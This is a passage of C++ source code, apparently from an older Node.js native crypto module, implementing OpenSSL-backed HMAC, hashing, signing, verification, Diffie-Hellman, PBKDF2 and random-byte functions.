HandleScope scope(node_isolate);
Hmac* hmac = new Hmac();
hmac->Wrap(args.This());
return args.This();
}
Handle<Value> Hmac::HmacInit(char* hashType, char* key, int key_len) {
HandleScope scope(node_isolate);
assert(md_ == NULL);
md_ = EVP_get_digestbyname(hashType);
if (md_ == NULL) {
return ThrowError("Unknown message digest");
}
HMAC_CTX_init(&ctx_);
if (key_len == 0) {
HMAC_Init(&ctx_, "", 0, md_);
} else {
HMAC_Init(&ctx_, key, key_len, md_);
}
initialised_ = true;
return Null(node_isolate);
}
Handle<Value> Hmac::HmacInit(const Arguments& args) {
HandleScope scope(node_isolate);
Hmac* hmac = ObjectWrap::Unwrap<Hmac>(args.This());
if (args.Length() < 2 || !args[0]->IsString()) {
return ThrowError("Must give hashtype string, key as arguments");
}
ASSERT_IS_BUFFER(args[1]);
String::Utf8Value hashType(args[0]);
char* buffer_data = Buffer::Data(args[1]);
size_t buffer_length = Buffer::Length(args[1]);
Handle<Value> ret = hmac->HmacInit(*hashType, buffer_data, buffer_length);
if (ret->IsNull()) {
return args.This();
} else {
// Exception
return ret;
}
}
bool Hmac::HmacUpdate(char* data, int len) {
if (!initialised_) return false;
HMAC_Update(&ctx_, reinterpret_cast<unsigned char*>(data), len);
return true;
}
Handle<Value> Hmac::HmacUpdate(const Arguments& args) {
HandleScope scope(node_isolate);
Hmac* hmac = ObjectWrap::Unwrap<Hmac>(args.This());
ASSERT_IS_STRING_OR_BUFFER(args[0]);
// Only copy the data if we have to, because it's a string
bool r;
if (args[0]->IsString()) {
enum encoding encoding = ParseEncoding(args[1], BINARY);
size_t buflen = StringBytes::StorageSize(args[0], encoding);
char* buf = new char[buflen];
size_t written = StringBytes::Write(buf, buflen, args[0], encoding);
r = hmac->HmacUpdate(buf, written);
delete[] buf;
} else {
char* buf = Buffer::Data(args[0]);
size_t buflen = Buffer::Length(args[0]);
r = hmac->HmacUpdate(buf, buflen);
}
if (!r) {
return ThrowTypeError("HmacUpdate fail");
}
return args.This();
}
bool Hmac::HmacDigest(unsigned char** md_value, unsigned int* md_len) {
if (!initialised_) return false;
*md_value = new unsigned char[EVP_MAX_MD_SIZE];
HMAC_Final(&ctx_, *md_value, md_len);
HMAC_CTX_cleanup(&ctx_);
initialised_ = false;
return true;
}
Handle<Value> Hmac::HmacDigest(const Arguments& args) {
HandleScope scope(node_isolate);
Hmac* hmac = ObjectWrap::Unwrap<Hmac>(args.This());
enum encoding encoding = BUFFER;
if (args.Length() >= 1) {
encoding = ParseEncoding(args[0]->ToString(), BUFFER);
}
unsigned char* md_value = NULL;
unsigned int md_len = 0;
Local<Value> outString;
bool r = hmac->HmacDigest(&md_value, &md_len);
if (!r) {
md_value = NULL;
md_len = 0;
}
outString = StringBytes::Encode(
reinterpret_cast<const char*>(md_value), md_len, encoding);
delete[] md_value;
return scope.Close(outString);
}
void Hash::Initialize(v8::Handle<v8::Object> target) {
HandleScope scope(node_isolate);
Local<FunctionTemplate> t = FunctionTemplate::New(New);
t->InstanceTemplate()->SetInternalFieldCount(1);
NODE_SET_PROTOTYPE_METHOD(t, "update", HashUpdate);
NODE_SET_PROTOTYPE_METHOD(t, "digest", HashDigest);
target->Set(String::NewSymbol("Hash"), t->GetFunction());
}
Handle<Value> Hash::New(const Arguments& args) {
HandleScope scope(node_isolate);
if (args.Length() == 0 || !args[0]->IsString()) {
return ThrowError("Must give hashtype string as argument");
}
String::Utf8Value hashType(args[0]);
Hash* hash = new Hash();
if (!hash->HashInit(*hashType)) {
delete hash;
return ThrowError("Digest method not supported");
}
hash->Wrap(args.This());
return args.This();
}
bool Hash::HashInit(const char* hashType) {
assert(md_ == NULL);
md_ = EVP_get_digestbyname(hashType);
if (md_ == NULL) return false;
EVP_MD_CTX_init(&mdctx_);
EVP_DigestInit_ex(&mdctx_, md_, NULL);
initialised_ = true;
return true;
}
bool Hash::HashUpdate(char* data, int len) {
if (!initialised_) return false;
EVP_DigestUpdate(&mdctx_, data, len);
return true;
}
Handle<Value> Hash::HashUpdate(const Arguments& args) {
HandleScope scope(node_isolate);
Hash* hash = ObjectWrap::Unwrap<Hash>(args.This());
ASSERT_IS_STRING_OR_BUFFER(args[0]);
// Only copy the data if we have to, because it's a string
bool r;
if (args[0]->IsString()) {
enum encoding encoding = ParseEncoding(args[1], BINARY);
size_t buflen = StringBytes::StorageSize(args[0], encoding);
char* buf = new char[buflen];
size_t written = StringBytes::Write(buf, buflen, args[0], encoding);
r = hash->HashUpdate(buf, written);
delete[] buf;
} else {
char* buf = Buffer::Data(args[0]);
size_t buflen = Buffer::Length(args[0]);
r = hash->HashUpdate(buf, buflen);
}
if (!r) {
return ThrowTypeError("HashUpdate fail");
}
return args.This();
}
Handle<Value> Hash::HashDigest(const Arguments& args) {
HandleScope scope(node_isolate);
Hash* hash = ObjectWrap::Unwrap<Hash>(args.This());
if (!hash->initialised_) {
return ThrowError("Not initialized");
}
enum encoding encoding = BUFFER;
if (args.Length() >= 1) {
encoding = ParseEncoding(args[0]->ToString(), BUFFER);
}
unsigned char md_value[EVP_MAX_MD_SIZE];
unsigned int md_len;
EVP_DigestFinal_ex(&hash->mdctx_, md_value, &md_len);
EVP_MD_CTX_cleanup(&hash->mdctx_);
hash->initialised_ = false;
return scope.Close(StringBytes::Encode(
reinterpret_cast<const char*>(md_value), md_len, encoding));
}
void Sign::Initialize(v8::Handle<v8::Object> target) {
HandleScope scope(node_isolate);
Local<FunctionTemplate> t = FunctionTemplate::New(New);
t->InstanceTemplate()->SetInternalFieldCount(1);
NODE_SET_PROTOTYPE_METHOD(t, "init", SignInit);
NODE_SET_PROTOTYPE_METHOD(t, "update", SignUpdate);
NODE_SET_PROTOTYPE_METHOD(t, "sign", SignFinal);
target->Set(String::NewSymbol("Sign"), t->GetFunction());
}
Handle<Value> Sign::New(const Arguments& args) {
HandleScope scope(node_isolate);
Sign* sign = new Sign();
sign->Wrap(args.This());
return args.This();
}
Handle<Value> Sign::SignInit(const char* sign_type) {
HandleScope scope(node_isolate);
assert(md_ == NULL);
md_ = EVP_get_digestbyname(sign_type);
if (!md_) {
return ThrowError("Uknown message digest");
}
EVP_MD_CTX_init(&mdctx_);
EVP_SignInit_ex(&mdctx_, md_, NULL);
initialised_ = true;
return Null(node_isolate);
}
Handle<Value> Sign::SignInit(const Arguments& args) {
HandleScope scope(node_isolate);
Sign* sign = ObjectWrap::Unwrap<Sign>(args.This());
if (args.Length() == 0 || !args[0]->IsString()) {
return ThrowError("Must give signtype string as argument");
}
String::Utf8Value sign_type(args[0]);
Handle<Value> ret = sign->SignInit(*sign_type);
if (ret->IsNull()) {
return args.This();
} else {
// Exception
return scope.Close(ret);
}
}
bool Sign::SignUpdate(char* data, int len) {
if (!initialised_) return false;
EVP_SignUpdate(&mdctx_, data, len);
return true;
}
Handle<Value> Sign::SignUpdate(const Arguments& args) {
HandleScope scope(node_isolate);
Sign* sign = ObjectWrap::Unwrap<Sign>(args.This());
ASSERT_IS_STRING_OR_BUFFER(args[0]);
// Only copy the data if we have to, because it's a string
int r;
if (args[0]->IsString()) {
enum encoding encoding = ParseEncoding(args[1], BINARY);
size_t buflen = StringBytes::StorageSize(args[0], encoding);
char* buf = new char[buflen];
size_t written = StringBytes::Write(buf, buflen, args[0], encoding);
r = sign->SignUpdate(buf, written);
delete[] buf;
} else {
char* buf = Buffer::Data(args[0]);
size_t buflen = Buffer::Length(args[0]);
r = sign->SignUpdate(buf, buflen);
}
if (!r) {
return ThrowTypeError("SignUpdate fail");
}
return args.This();
}
bool Sign::SignFinal(unsigned char** md_value,
unsigned int *md_len,
char* key_pem,
int key_pem_len) {
if (!initialised_) return false;
BIO* bp = NULL;
EVP_PKEY* pkey = NULL;
bp = BIO_new(BIO_s_mem());
if (!BIO_write(bp, key_pem, key_pem_len)) return false;
pkey = PEM_read_bio_PrivateKey(bp, NULL, NULL, NULL);
if (pkey == NULL) return 0;
EVP_SignFinal(&mdctx_, *md_value, md_len, pkey);
EVP_MD_CTX_cleanup(&mdctx_);
initialised_ = false;
EVP_PKEY_free(pkey);
BIO_free_all(bp);
return true;
}
Handle<Value> Sign::SignFinal(const Arguments& args) {
HandleScope scope(node_isolate);
Sign* sign = ObjectWrap::Unwrap<Sign>(args.This());
unsigned char* md_value;
unsigned int md_len;
Local<Value> outString;
enum encoding encoding = BUFFER;
if (args.Length() >= 2) {
encoding = ParseEncoding(args[1]->ToString(), BUFFER);
}
ASSERT_IS_BUFFER(args[0]);
ssize_t len = Buffer::Length(args[0]);
char* buf = Buffer::Data(args[0]);
md_len = 8192; // Maximum key size is 8192 bits
md_value = new unsigned char[md_len];
bool r = sign->SignFinal(&md_value, &md_len, buf, len);
if (!r) {
delete[] md_value;
md_value = NULL;
md_len = 0;
}
outString = StringBytes::Encode(
reinterpret_cast<const char*>(md_value), md_len, encoding);
delete[] md_value;
return scope.Close(outString);
}
void Verify::Initialize(v8::Handle<v8::Object> target) {
HandleScope scope(node_isolate);
Local<FunctionTemplate> t = FunctionTemplate::New(New);
t->InstanceTemplate()->SetInternalFieldCount(1);
NODE_SET_PROTOTYPE_METHOD(t, "init", VerifyInit);
NODE_SET_PROTOTYPE_METHOD(t, "update", VerifyUpdate);
NODE_SET_PROTOTYPE_METHOD(t, "verify", VerifyFinal);
target->Set(String::NewSymbol("Verify"), t->GetFunction());
}
Handle<Value> Verify::New(const Arguments& args) {
HandleScope scope(node_isolate);
Verify* verify = new Verify();
verify->Wrap(args.This());
return args.This();
}
Handle<Value> Verify::VerifyInit(const char* verify_type) {
HandleScope scope(node_isolate);
assert(md_ == NULL);
md_ = EVP_get_digestbyname(verify_type);
if (md_ == NULL) {
return ThrowError("Unknown message digest");
}
EVP_MD_CTX_init(&mdctx_);
EVP_VerifyInit_ex(&mdctx_, md_, NULL);
initialised_ = true;
return Null(node_isolate);
}
Handle<Value> Verify::VerifyInit(const Arguments& args) {
HandleScope scope(node_isolate);
Verify* verify = ObjectWrap::Unwrap<Verify>(args.This());
if (args.Length() == 0 || !args[0]->IsString()) {
return ThrowError("Must give verifytype string as argument");
}
String::Utf8Value verify_type(args[0]);
Handle<Value> ret = verify->VerifyInit(*verify_type);
if (ret->IsNull()) {
return args.This();
} else {
// Exception
return scope.Close(ret);
}
}
bool Verify::VerifyUpdate(char* data, int len) {
if (!initialised_) return false;
EVP_VerifyUpdate(&mdctx_, data, len);
return true;
}
Handle<Value> Verify::VerifyUpdate(const Arguments& args) {
HandleScope scope(node_isolate);
Verify* verify = ObjectWrap::Unwrap<Verify>(args.This());
ASSERT_IS_STRING_OR_BUFFER(args[0]);
// Only copy the data if we have to, because it's a string
bool r;
if (args[0]->IsString()) {
enum encoding encoding = ParseEncoding(args[1], BINARY);
size_t buflen = StringBytes::StorageSize(args[0], encoding);
char* buf = new char[buflen];
size_t written = StringBytes::Write(buf, buflen, args[0], encoding);
r = verify->VerifyUpdate(buf, written);
delete[] buf;
} else {
char* buf = Buffer::Data(args[0]);
size_t buflen = Buffer::Length(args[0]);
r = verify->VerifyUpdate(buf, buflen);
}
if (!r) {
return ThrowTypeError("VerifyUpdate fail");
}
return args.This();
}
Handle<Value> Verify::VerifyFinal(char* key_pem,
int key_pem_len,
unsigned char* sig,
int siglen) {
HandleScope scope(node_isolate);
if (!initialised_) {
return ThrowError("Verify not initalised");
}
EVP_PKEY* pkey = NULL;
BIO* bp = NULL;
X509* x509 = NULL;
bool fatal = true;
int r;
bp = BIO_new(BIO_s_mem());
if (bp == NULL)
goto exit;
if (!BIO_write(bp, key_pem, key_pem_len))
goto exit;
// Check if this is a PKCS#8 or RSA public key before trying as X.509.
// Split this out into a separate function once we have more than one
// consumer of public keys.
if (strncmp(key_pem, PUBLIC_KEY_PFX, PUBLIC_KEY_PFX_LEN) == 0) {
pkey = PEM_read_bio_PUBKEY(bp, NULL, NULL, NULL);
if (pkey == NULL)
goto exit;
} else if (strncmp(key_pem, PUBRSA_KEY_PFX, PUBRSA_KEY_PFX_LEN) == 0) {
RSA* rsa = PEM_read_bio_RSAPublicKey(bp, NULL, NULL, NULL);
if (rsa) {
pkey = EVP_PKEY_new();
if (pkey) EVP_PKEY_set1_RSA(pkey, rsa);
RSA_free(rsa);
}
if (pkey == NULL)
goto exit;
} else {
// X.509 fallback
x509 = PEM_read_bio_X509(bp, NULL, NULL, NULL);
if (x509 == NULL)
goto exit;
pkey = X509_get_pubkey(x509);
if (pkey == NULL)
goto exit;
}
fatal = false;
r = EVP_VerifyFinal(&mdctx_, sig, siglen, pkey);
exit:
if (pkey != NULL)
EVP_PKEY_free(pkey);
if (bp != NULL)
BIO_free_all(bp);
if (x509 != NULL)
X509_free(x509);
EVP_MD_CTX_cleanup(&mdctx_);
initialised_ = false;
if (fatal) {
unsigned long err = ERR_get_error();
return ThrowCryptoError(err);
}
return scope.Close(r ? True(node_isolate) : False(node_isolate));
}
Handle<Value> Verify::VerifyFinal(const Arguments& args) {
HandleScope scope(node_isolate);
Verify* verify = ObjectWrap::Unwrap<Verify>(args.This());
ASSERT_IS_BUFFER(args[0]);
char* kbuf = Buffer::Data(args[0]);
ssize_t klen = Buffer::Length(args[0]);
ASSERT_IS_STRING_OR_BUFFER(args[1]);
// BINARY works for both buffers and binary strings.
enum encoding encoding = BINARY;
if (args.Length() >= 3) {
encoding = ParseEncoding(args[2]->ToString(), BINARY);
}
ssize_t hlen = StringBytes::Size(args[1], encoding);
// only copy if we need to, because it's a string.
unsigned char* hbuf;
if (args[1]->IsString()) {
hbuf = new unsigned char[hlen];
ssize_t hwritten = StringBytes::Write(
reinterpret_cast<char*>(hbuf), hlen, args[1], encoding);
assert(hwritten == hlen);
} else {
hbuf = reinterpret_cast<unsigned char*>(Buffer::Data(args[1]));
}
Local<Value> retval = Local<Value>::New(verify->VerifyFinal(kbuf, klen, hbuf, hlen));
if (args[1]->IsString()) {
delete[] hbuf;
}
return scope.Close(retval);
}
void DiffieHellman::Initialize(v8::Handle<v8::Object> target) {
HandleScope scope(node_isolate);
Local<FunctionTemplate> t = FunctionTemplate::New(New);
t->InstanceTemplate()->SetInternalFieldCount(1);
NODE_SET_PROTOTYPE_METHOD(t, "generateKeys", GenerateKeys);
NODE_SET_PROTOTYPE_METHOD(t, "computeSecret", ComputeSecret);
NODE_SET_PROTOTYPE_METHOD(t, "getPrime", GetPrime);
NODE_SET_PROTOTYPE_METHOD(t, "getGenerator", GetGenerator);
NODE_SET_PROTOTYPE_METHOD(t, "getPublicKey", GetPublicKey);
NODE_SET_PROTOTYPE_METHOD(t, "getPrivateKey", GetPrivateKey);
NODE_SET_PROTOTYPE_METHOD(t, "setPublicKey", SetPublicKey);
NODE_SET_PROTOTYPE_METHOD(t, "setPrivateKey", SetPrivateKey);
target->Set(String::NewSymbol("DiffieHellman"), t->GetFunction());
Local<FunctionTemplate> t2 = FunctionTemplate::New(DiffieHellmanGroup);
t2->InstanceTemplate()->SetInternalFieldCount(1);
NODE_SET_PROTOTYPE_METHOD(t2, "generateKeys", GenerateKeys);
NODE_SET_PROTOTYPE_METHOD(t2, "computeSecret", ComputeSecret);
NODE_SET_PROTOTYPE_METHOD(t2, "getPrime", GetPrime);
NODE_SET_PROTOTYPE_METHOD(t2, "getGenerator", GetGenerator);
NODE_SET_PROTOTYPE_METHOD(t2, "getPublicKey", GetPublicKey);
NODE_SET_PROTOTYPE_METHOD(t2, "getPrivateKey", GetPrivateKey);
target->Set(String::NewSymbol("DiffieHellmanGroup"), t2->GetFunction());
}
bool DiffieHellman::Init(int primeLength) {
dh = DH_new();
DH_generate_parameters_ex(dh, primeLength, DH_GENERATOR_2, 0);
bool result = VerifyContext();
if (!result) return false;
initialised_ = true;
return true;
}
bool DiffieHellman::Init(unsigned char* p, int p_len) {
dh = DH_new();
dh->p = BN_bin2bn(p, p_len, 0);
dh->g = BN_new();
if (!BN_set_word(dh->g, 2)) return false;
bool result = VerifyContext();
if (!result) return false;
initialised_ = true;
return true;
}
bool DiffieHellman::Init(unsigned char* p,
int p_len,
unsigned char* g,
int g_len) {
dh = DH_new();
dh->p = BN_bin2bn(p, p_len, 0);
dh->g = BN_bin2bn(g, g_len, 0);
initialised_ = true;
return true;
}
Handle<Value> DiffieHellman::DiffieHellmanGroup(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman = new DiffieHellman();
if (args.Length() != 1 || !args[0]->IsString()) {
return ThrowError("No group name given");
}
String::Utf8Value group_name(args[0]);
modp_group* it = modp_groups;
while(it->name != NULL) {
if (!strcasecmp(*group_name, it->name))
break;
it++;
}
if (it->name != NULL) {
diffieHellman->Init(it->prime,
it->prime_size,
it->gen,
it->gen_size);
} else {
return ThrowError("Unknown group");
}
diffieHellman->Wrap(args.This());
return args.This();
}
Handle<Value> DiffieHellman::New(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman = new DiffieHellman();
bool initialized = false;
if (args.Length() > 0) {
if (args[0]->IsInt32()) {
initialized = diffieHellman->Init(args[0]->Int32Value());
} else {
initialized = diffieHellman->Init(
reinterpret_cast<unsigned char*>(Buffer::Data(args[0])),
Buffer::Length(args[0]));
}
}
if (!initialized) {
return ThrowError("Initialization failed");
}
diffieHellman->Wrap(args.This());
return args.This();
}
Handle<Value> DiffieHellman::GenerateKeys(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman =
ObjectWrap::Unwrap<DiffieHellman>(args.This());
if (!diffieHellman->initialised_) {
return ThrowError("Not initialized");
}
if (!DH_generate_key(diffieHellman->dh)) {
return ThrowError("Key generation failed");
}
Local<Value> outString;
int dataSize = BN_num_bytes(diffieHellman->dh->pub_key);
char* data = new char[dataSize];
BN_bn2bin(diffieHellman->dh->pub_key,
reinterpret_cast<unsigned char*>(data));
outString = Encode(data, dataSize, BUFFER);
delete[] data;
return scope.Close(outString);
}
Handle<Value> DiffieHellman::GetPrime(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman =
ObjectWrap::Unwrap<DiffieHellman>(args.This());
if (!diffieHellman->initialised_) {
return ThrowError("Not initialized");
}
int dataSize = BN_num_bytes(diffieHellman->dh->p);
char* data = new char[dataSize];
BN_bn2bin(diffieHellman->dh->p, reinterpret_cast<unsigned char*>(data));
Local<Value> outString;
outString = Encode(data, dataSize, BUFFER);
delete[] data;
return scope.Close(outString);
}
Handle<Value> DiffieHellman::GetGenerator(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman =
ObjectWrap::Unwrap<DiffieHellman>(args.This());
if (!diffieHellman->initialised_) {
return ThrowError("Not initialized");
}
int dataSize = BN_num_bytes(diffieHellman->dh->g);
char* data = new char[dataSize];
BN_bn2bin(diffieHellman->dh->g, reinterpret_cast<unsigned char*>(data));
Local<Value> outString;
outString = Encode(data, dataSize, BUFFER);
delete[] data;
return scope.Close(outString);
}
Handle<Value> DiffieHellman::GetPublicKey(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman =
ObjectWrap::Unwrap<DiffieHellman>(args.This());
if (!diffieHellman->initialised_) {
return ThrowError("Not initialized");
}
if (diffieHellman->dh->pub_key == NULL) {
return ThrowError("No public key - did you forget to generate one?");
}
int dataSize = BN_num_bytes(diffieHellman->dh->pub_key);
char* data = new char[dataSize];
BN_bn2bin(diffieHellman->dh->pub_key,
reinterpret_cast<unsigned char*>(data));
Local<Value> outString;
outString = Encode(data, dataSize, BUFFER);
delete[] data;
return scope.Close(outString);
}
Handle<Value> DiffieHellman::GetPrivateKey(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman =
ObjectWrap::Unwrap<DiffieHellman>(args.This());
if (!diffieHellman->initialised_) {
return ThrowError("Not initialized");
}
if (diffieHellman->dh->priv_key == NULL) {
return ThrowError("No private key - did you forget to generate one?");
}
int dataSize = BN_num_bytes(diffieHellman->dh->priv_key);
char* data = new char[dataSize];
BN_bn2bin(diffieHellman->dh->priv_key,
reinterpret_cast<unsigned char*>(data));
Local<Value> outString;
outString = Encode(data, dataSize, BUFFER);
delete[] data;
return scope.Close(outString);
}
Handle<Value> DiffieHellman::ComputeSecret(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman =
ObjectWrap::Unwrap<DiffieHellman>(args.This());
if (!diffieHellman->initialised_) {
return ThrowError("Not initialized");
}
ClearErrorOnReturn clear_error_on_return;
(void) &clear_error_on_return; // Silence compiler warning.
BIGNUM* key = NULL;
if (args.Length() == 0) {
return ThrowError("First argument must be other party's public key");
} else {
ASSERT_IS_BUFFER(args[0]);
key = BN_bin2bn(
reinterpret_cast<unsigned char*>(Buffer::Data(args[0])),
Buffer::Length(args[0]),
0);
}
int dataSize = DH_size(diffieHellman->dh);
char* data = new char[dataSize];
int size = DH_compute_key(reinterpret_cast<unsigned char*>(data),
key,
diffieHellman->dh);
if (size == -1) {
int checkResult;
int checked;
checked = DH_check_pub_key(diffieHellman->dh, key, &checkResult);
BN_free(key);
delete[] data;
if (!checked) {
return ThrowError("Invalid key");
} else if (checkResult) {
if (checkResult & DH_CHECK_PUBKEY_TOO_SMALL) {
return ThrowError("Supplied key is too small");
} else if (checkResult & DH_CHECK_PUBKEY_TOO_LARGE) {
return ThrowError("Supplied key is too large");
} else {
return ThrowError("Invalid key");
}
} else {
return ThrowError("Invalid key");
}
}
BN_free(key);
assert(size >= 0);
// DH_size returns number of bytes in a prime number
// DH_compute_key returns number of bytes in a remainder of exponent, which
// may have less bytes than a prime number. Therefore add 0-padding to the
// allocated buffer.
if (size != dataSize) {
assert(dataSize > size);
memmove(data + dataSize - size, data, size);
memset(data, 0, dataSize - size);
}
Local<Value> outString;
outString = Encode(data, dataSize, BUFFER);
delete[] data;
return scope.Close(outString);
}
Handle<Value> DiffieHellman::SetPublicKey(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman =
ObjectWrap::Unwrap<DiffieHellman>(args.This());
if (!diffieHellman->initialised_) {
return ThrowError("Not initialized");
}
if (args.Length() == 0) {
return ThrowError("First argument must be public key");
} else {
ASSERT_IS_BUFFER(args[0]);
diffieHellman->dh->pub_key = BN_bin2bn(
reinterpret_cast<unsigned char*>(Buffer::Data(args[0])),
Buffer::Length(args[0]), 0);
}
return args.This();
}
Handle<Value> DiffieHellman::SetPrivateKey(const Arguments& args) {
HandleScope scope(node_isolate);
DiffieHellman* diffieHellman =
ObjectWrap::Unwrap<DiffieHellman>(args.This());
if (!diffieHellman->initialised_) {
return ThrowError("Not initialized");
}
if (args.Length() == 0) {
return ThrowError("First argument must be private key");
} else {
ASSERT_IS_BUFFER(args[0]);
diffieHellman->dh->priv_key = BN_bin2bn(
reinterpret_cast<unsigned char*>(Buffer::Data(args[0])),
Buffer::Length(args[0]),
0);
}
return args.This();
}
bool DiffieHellman::VerifyContext() {
int codes;
if (!DH_check(dh, &codes)) return false;
if (codes & DH_CHECK_P_NOT_SAFE_PRIME) return false;
if (codes & DH_CHECK_P_NOT_PRIME) return false;
if (codes & DH_UNABLE_TO_CHECK_GENERATOR) return false;
if (codes & DH_NOT_SUITABLE_GENERATOR) return false;
return true;
}
struct pbkdf2_req {
uv_work_t work_req;
int err;
char* pass;
size_t passlen;
char* salt;
size_t saltlen;
size_t iter;
char* key;
size_t keylen;
Persistent<Object> obj;
};
void EIO_PBKDF2(pbkdf2_req* req) {
req->err = PKCS5_PBKDF2_HMAC_SHA1(
req->pass,
req->passlen,
(unsigned char*)req->salt,
req->saltlen,
req->iter,
req->keylen,
(unsigned char*)req->key);
memset(req->pass, 0, req->passlen);
memset(req->salt, 0, req->saltlen);
}
void EIO_PBKDF2(uv_work_t* work_req) {
pbkdf2_req* req = container_of(work_req, pbkdf2_req, work_req);
EIO_PBKDF2(req);
}
void EIO_PBKDF2After(pbkdf2_req* req, Local<Value> argv[2]) {
if (req->err) {
argv[0] = Local<Value>::New(node_isolate, Undefined(node_isolate));
argv[1] = Encode(req->key, req->keylen, BUFFER);
memset(req->key, 0, req->keylen);
} else {
argv[0] = Exception::Error(String::New("PBKDF2 error"));
argv[1] = Local<Value>::New(node_isolate, Undefined(node_isolate));
}
delete[] req->pass;
delete[] req->salt;
delete[] req->key;
delete req;
}
void EIO_PBKDF2After(uv_work_t* work_req, int status) {
assert(status == 0);
pbkdf2_req* req = container_of(work_req, pbkdf2_req, work_req);
HandleScope scope(node_isolate);
Local<Value> argv[2];
Persistent<Object> obj = req->obj;
EIO_PBKDF2After(req, argv);
MakeCallback(obj, "ondone", ARRAY_SIZE(argv), argv);
obj.Dispose(node_isolate);
}
Handle<Value> PBKDF2(const Arguments& args) {
HandleScope scope(node_isolate);
const char* type_error = NULL;
char* pass = NULL;
char* salt = NULL;
ssize_t passlen = -1;
ssize_t saltlen = -1;
ssize_t keylen = -1;
ssize_t pass_written = -1;
ssize_t salt_written = -1;
ssize_t iter = -1;
pbkdf2_req* req = NULL;
if (args.Length() != 4 && args.Length() != 5) {
type_error = "Bad parameter";
goto err;
}
ASSERT_IS_BUFFER(args[0]);
passlen = Buffer::Length(args[0]);
if (passlen < 0) {
type_error = "Bad password";
goto err;
}
pass = new char[passlen];
pass_written = DecodeWrite(pass, passlen, args[0], BINARY);
assert(pass_written == passlen);
ASSERT_IS_BUFFER(args[1]);
saltlen = Buffer::Length(args[1]);
if (saltlen < 0) {
type_error = "Bad salt";
goto err;
}
salt = new char[saltlen];
salt_written = DecodeWrite(salt, saltlen, args[1], BINARY);
assert(salt_written == saltlen);
if (!args[2]->IsNumber()) {
type_error = "Iterations not a number";
goto err;
}
iter = args[2]->Int32Value();
if (iter < 0) {
type_error = "Bad iterations";
goto err;
}
if (!args[3]->IsNumber()) {
type_error = "Key length not a number";
goto err;
}
keylen = args[3]->Int32Value();
if (keylen < 0) {
type_error = "Bad key length";
goto err;
}
req = new pbkdf2_req;
req->err = 0;
req->pass = pass;
req->passlen = passlen;
req->salt = salt;
req->saltlen = saltlen;
req->iter = iter;
req->key = new char[keylen];
req->keylen = keylen;
if (args[4]->IsFunction()) {
req->obj = Persistent<Object>::New(node_isolate, Object::New());
req->obj->Set(String::New("ondone"), args[4]);
uv_queue_work(uv_default_loop(),
&req->work_req,
EIO_PBKDF2,
EIO_PBKDF2After);
return Undefined(node_isolate);
} else {
Local<Value> argv[2];
EIO_PBKDF2(req);
EIO_PBKDF2After(req, argv);
if (argv[0]->IsObject()) return ThrowException(argv[0]);
return scope.Close(argv[1]);
}
err:
delete[] salt;
delete[] pass;
return ThrowException(Exception::TypeError(String::New(type_error)));
}
struct RandomBytesRequest {
~RandomBytesRequest();
Persistent<Object> obj_;
unsigned long error_; // openssl error code or zero
uv_work_t work_req_;
size_t size_;
char* data_;
};
RandomBytesRequest::~RandomBytesRequest() {
if (obj_.IsEmpty()) return;
obj_.Dispose(node_isolate);
obj_.Clear();
}
template <bool pseudoRandom>
void RandomBytesWork(uv_work_t* work_req) {
RandomBytesRequest* req = container_of(work_req,
RandomBytesRequest,
work_req_);
int r;
if (pseudoRandom == true) {
r = RAND_pseudo_bytes(reinterpret_cast<unsigned char*>(req->data_),
req->size_);
} else {
r = RAND_bytes(reinterpret_cast<unsigned char*>(req->data_), req->size_);
}
// RAND_bytes() returns 0 on error. RAND_pseudo_bytes() returns 0 when the
// result is not cryptographically strong - but that's not an error.
if (r == 0 && pseudoRandom == false) {
req->error_ = ERR_get_error();
} else if (r == -1) {
req->error_ = static_cast<unsigned long>(-1);
}
}
// don't call this function without a valid HandleScope
void RandomBytesCheck(RandomBytesRequest* req, Local<Value> argv[2]) {
if (req->error_) {
char errmsg[256] = "Operation not supported";
if (req->error_ != (unsigned long) -1)
ERR_error_string_n(req->error_, errmsg, sizeof errmsg);
argv[0] = Exception::Error(String::New(errmsg));
argv[1] = Local<Value>::New(node_isolate, Null(node_isolate));
}
else {
argv[0] = Local<Value>::New(node_isolate, Null(node_isolate));
argv[1] = Buffer::Use(req->data_, req->size_);
}
}
void RandomBytesAfter(uv_work_t* work_req, int status) {
assert(status == 0);
RandomBytesRequest* req = container_of(work_req,
RandomBytesRequest,
work_req_);
HandleScope scope(node_isolate);
Local<Value> argv[2];
RandomBytesCheck(req, argv);
MakeCallback(req->obj_, "ondone", ARRAY_SIZE(argv), argv);
delete req;
}
template <bool pseudoRandom>
Handle<Value> RandomBytes(const Arguments& args) {
HandleScope scope(node_isolate);
// maybe allow a buffer to write to? cuts down on object creation
// when generating random data in a loop
if (!args[0]->IsUint32()) {
return ThrowTypeError("Argument #1 must be number > 0");
}
const uint32_t size = args[0]->Uint32Value();
if (size > Buffer::kMaxLength) {
return ThrowTypeError("size > Buffer::kMaxLength");
}
RandomBytesRequest* req = new RandomBytesRequest();
req->error_ = 0;
req->data_ = new char[size];
req->size_ = size;
if (args[1]->IsFunction()) {
req->obj_ = Persistent<Object>::New(node_isolate, Object::New());
req->obj_->Set(String::New("ondone"), args[1]);
uv_queue_work(uv_default_loop(),
&req->work_req_,
RandomBytesWork<pseudoRandom>,
RandomBytesAfter);
return req->obj_;
}
else {
Local<Value> argv[2];
RandomBytesWork<pseudoRandom>(&req->work_req_);
RandomBytesCheck(req, argv);
delete req;
if (!argv[0]->IsNull())
return ThrowException(argv[0]);
else
return argv[1];
}
}
Handle<Value> GetSSLCiphers(const Arguments& args) {
HandleScope scope(node_isolate);
SSL_CTX* ctx = SSL_CTX_new(TLSv1_server_method());
if (ctx == NULL) {
return ThrowError("SSL_CTX_new() failed.");
}
SSL* ssl = SSL_new(ctx);
if (ssl == NULL) {
SSL_CTX_free(ctx);
return ThrowError("SSL_new() failed.");
}
Local<Array> arr = Array::New();
STACK_OF(SSL_CIPHER)* ciphers = SSL_get_ciphers(ssl);
